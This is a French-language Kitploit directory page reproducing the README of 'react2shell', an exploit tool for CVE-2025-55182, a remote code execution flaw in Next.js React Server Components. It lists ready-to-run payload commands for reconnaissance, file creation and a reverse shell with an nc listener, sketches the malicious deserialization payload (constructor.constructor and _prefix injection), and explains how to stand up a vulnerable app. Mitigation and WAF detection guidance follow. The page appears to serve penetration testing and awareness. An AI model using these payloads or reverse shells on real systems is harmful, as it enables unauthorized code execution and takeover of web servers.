Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
react2shell — Un framework complet pour exploiter la vulnérabilité CVE-2025-55182 | Kitploit
Outils/GitHubGitHub/zr0n/react2shell
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubzr0n/react2shell

react2shell

Un framework complet pour exploiter la vulnérabilité CVE-2025-55182

Voir le dépôt
1053il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

React2Shell - Preuve de concept d'exploitation de CVE-2025-55182

Security Platform License

Une preuve de concept d'exploitation pour CVE-2025-55182, une vulnérabilité critique d'exécution de code à distance dans les applications Next.js utilisant les React Server Components.

⚠️ AVERTISSEMENT

CET OUTIL EST UNIQUEMENT DESTINÉ À UN USAGE ÉDUCATIF ET À DES TESTS DE SÉCURITÉ AUTORISÉS.

  • ❌ NE PAS l'utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester
  • ❌ L'accès non autorisé à des systèmes informatiques est illégal
  • ✅ Utilisez-le uniquement dans des environnements contrôlés pour l'apprentissage et les tests de pénétration autorisés
  • ✅ L'auteur n'est pas responsable de l'utilisation abusive ou des dommages causés par cet outil

📋 Détails de la vulnérabilité

  • Identifiant CVE : CVE-2025-55182
  • Vulnérabilité : Exécution de code à distance dans les React Server Components
  • Versions affectées :
    • Next.js : ≥14.3.0-canary.77, toutes les versions 15.x et 16.x avec App Router
    • React : 19.0, 19.1.0, 19.1.1, 19.2.0
Télécharger l’outil
  • Versions corrigées :
    • Next.js : 16.0.7, 15.5.7, 15.4.8, 15.3.6, 15.2.6, 15.1.9, 15.0.5
    • React : 19.0.1, 19.1.2, 19.2.1
  • Score CVSS : Critique
  • Vecteur d'attaque : Réseau, nécessite une requête POST spécialement conçue
  • 🎯 Fonctionnalités

    • ✅ Prise en charge multiplateforme (Windows et Linux)
    • ✅ Plusieurs types de charges utiles
    • ✅ Capacités de shell inverse
    • ✅ Charges utiles de preuve visuelle (calc, notepad)
    • ✅ Opérations sur le système de fichiers
    • ✅ Collecte d'informations système

    🔧 Installation

    root@kitploit:~
    # Clonez ou téléchargez ce dépôt
    git clone https://github.com/zr0n/react2shell
    cd react2shell
    
    # Installez les dépendances
    npm install form-data
    

    💻 Utilisation

    Syntaxe de base

    root@kitploit:~
    node react2shell.js <url_cible> <type_charge> [options]
    

    Charges utiles disponibles

    Charge utileDescriptionExemple
    basicPreuve de concept mathématique (7*7+1=50)node react2shell.js http://cible:3000 basic
    whoamiAfficher l'utilisateur système actuelnode react2shell.js http://cible:3000 whoami
    dirLister le contenu du répertoire courantnode react2shell.js http://cible:3000 dir
    systeminfoAfficher les informations du système d'exploitationnode react2shell.js http://cible:3000 systeminfo
    fileCréer un fichier de preuve EXPLOITED.txtnode react2shell.js http://cible:3000 file
    calcLancer la calculatrice (preuve visuelle Windows)node react2shell.js http://cible:3000 calc
    notepadLancer le Bloc-notes (preuve visuelle Windows)node react2shell.js http://cible:3000 notepad
    shellShell inverse (détection automatique Windows/Linux)node react2shell.js http://cible:3000 shell 10.10.10.5 4444

    Exemples

    1. Preuve de concept de base

    root@kitploit:~
    node react2shell.js http://localhost:3000 basic
    # Vérifiez la console du serveur pour la sortie : EXPLOITED: 50
    

    2. Reconnaissance système

    root@kitploit:~
    # Obtenir l'utilisateur courant
    node react2shell.js http://localhost:3000 whoami
    
    # Lister les fichiers
    node react2shell.js http://localhost:3000 dir
    
    # Informations système
    node react2shell.js http://localhost:3000 systeminfo
    

    3. Preuve visuelle (Windows)

    root@kitploit:~
    # Lancer la calculatrice
    node react2shell.js http://localhost:3000 calc
    
    # Lancer le Bloc-notes
    node react2shell.js http://localhost:3000 notepad
    

    4. Preuve par création de fichier

    root@kitploit:~
    node react2shell.js http://localhost:3000 file
    # Vérifiez le répertoire du serveur pour EXPLOITED.txt
    

    5. Shell inverse

    root@kitploit:~
    # Terminal 1 : Démarrer l'écouteur
    nc -lvnp 4444
    
    # Terminal 2 : Exécuter l'exploit
    node react2shell.js http://localhost:3000 shell <VOTRE_IP> 4444
    
    # Fonctionne à la fois sur Windows (PowerShell) et Linux (Bash)
    

    🏗️ Configuration de l'environnement vulnérable

    Prérequis

    • Node.js 18+
    • npm ou yarn

    Créer une application Next.js vulnérable

    root@kitploit:~
    # Créer le répertoire du projet
    mkdir vulnerable-nextjs-app
    cd vulnerable-nextjs-app
    
    # Initialiser Next.js avec une version vulnérable
    npx create-next-app@latest . --ts --app --no-eslint --tailwind
    
    # Rétrograder vers une version vulnérable
    npm install [email protected]
    
    # Installer les dépendances
    npm install
    

    Application vulnérable minimale (app/page.tsx)

    root@kitploit:~
    export default function Home() {
      return (
        <div className="p-8">
          <h1 className="text-4xl font-bold">Application Next.js vulnérable</h1>
          <p className="mt-4">Cette application est vulnérable à CVE-2025-55182</p>
        </div>
      );
    }
    

    Démarrer le serveur

    root@kitploit:~
    npm run dev
    # Le serveur tourne sur http://localhost:3000
    

    🔍 Comment ça fonctionne

    L'exploit exploite une vulnérabilité de désérialisation dans les React Server Components :

    1. Construction de la charge utile : Crée un objet sérialisé malveillant avec pollution du prototype
    2. Accès au constructeur de fonction : Exploite constructor.constructor pour accéder au constructeur de fonction
    3. Injection de code : Injecte du code JavaScript arbitraire via le champ _prefix
    4. Exécution : Le serveur désérialise la charge utile et exécute le code injecté

    Détails techniques

    root@kitploit:~
    # Chaîne de vulnérabilité simplifiée
    {
      _formData: {
        get: '$3:constructor:constructor' # Accès au constructeur de fonction
      },
      _prefix: 'VOTRE_CODE_ICI//' # Code injecté
    }
    

    🛡️ Atténuation

    Pour les propriétaires d'applications

    1. Mettre à jour immédiatement :

      root@kitploit:~
      npm update next@latest
      npm update react@latest react-dom@latest
      
    2. Vérifier les versions corrigées :

      root@kitploit:~
      npm list next react
      
    3. Versions requises :

      • Next.js : ≥16.0.7 ou ≥15.5.7
      • React : ≥19.2.1 ou ≥19.1.2

    Pour les équipes de sécurité

    • Scannez les versions vulnérables de Next.js dans votre infrastructure
    • Implémentez des règles de pare-feu applicatif (WAF) pour détecter les charges utiles RSC malveillantes
    • Surveillez les requêtes POST suspectes avec l'en-tête next-action
    • Examinez les journaux côté serveur pour détecter des schémas d'exécution de code inattendus

    📊 Détection

    Règles WAF

    Recherchez les requêtes POST avec :

    • En-tête : next-action
    • Content-Type : multipart/form-data
    • Corps contenant : constructor, _prefix, _formData

    Schémas de journalisation

    root@kitploit:~
    POST / avec en-tête next-action
    Clés FormData suspectes : 0, 1, 2, 3, 4
    Réponse : 200 (exploitation réussie) ou 500 (échec)
    

    📚 Références

    • CVE-2025-55182 - NVD
    • Avis de sécurité Next.js
    • Mises à jour de sécurité React
    • Injection de code OWASP

    🤝 Contribuer

    Cet outil est éducatif. Les contributions qui améliorent :

    • Les capacités de détection
    • La documentation
    • Les stratégies défensives
    • Le contenu éducatif

    sont les bienvenues. NE soumettez PAS de contributions qui améliorent les capacités d'attaque.

    📜 Licence

    Usage éducatif uniquement - Aucune garantie fournie

    👤 Auteur

    Luiz Fernando Ziron Créé à des fins d'éducation et de sensibilisation à la cybersécurité.

    ⚖️ Avis juridique

    En utilisant cet outil, vous acceptez :

    • De l'utiliser uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester
    • D'assumer l'entière responsabilité de vos actions
    • De ne pas tenir l'auteur responsable de toute utilisation abusive ou de tout dommage
    • De vous conformer à toutes les lois et réglementations applicables

    L'accès non autorisé à des systèmes informatiques est un crime dans la plupart des juridictions.


    Restez prudent, restez éthique, restez légal. 🔒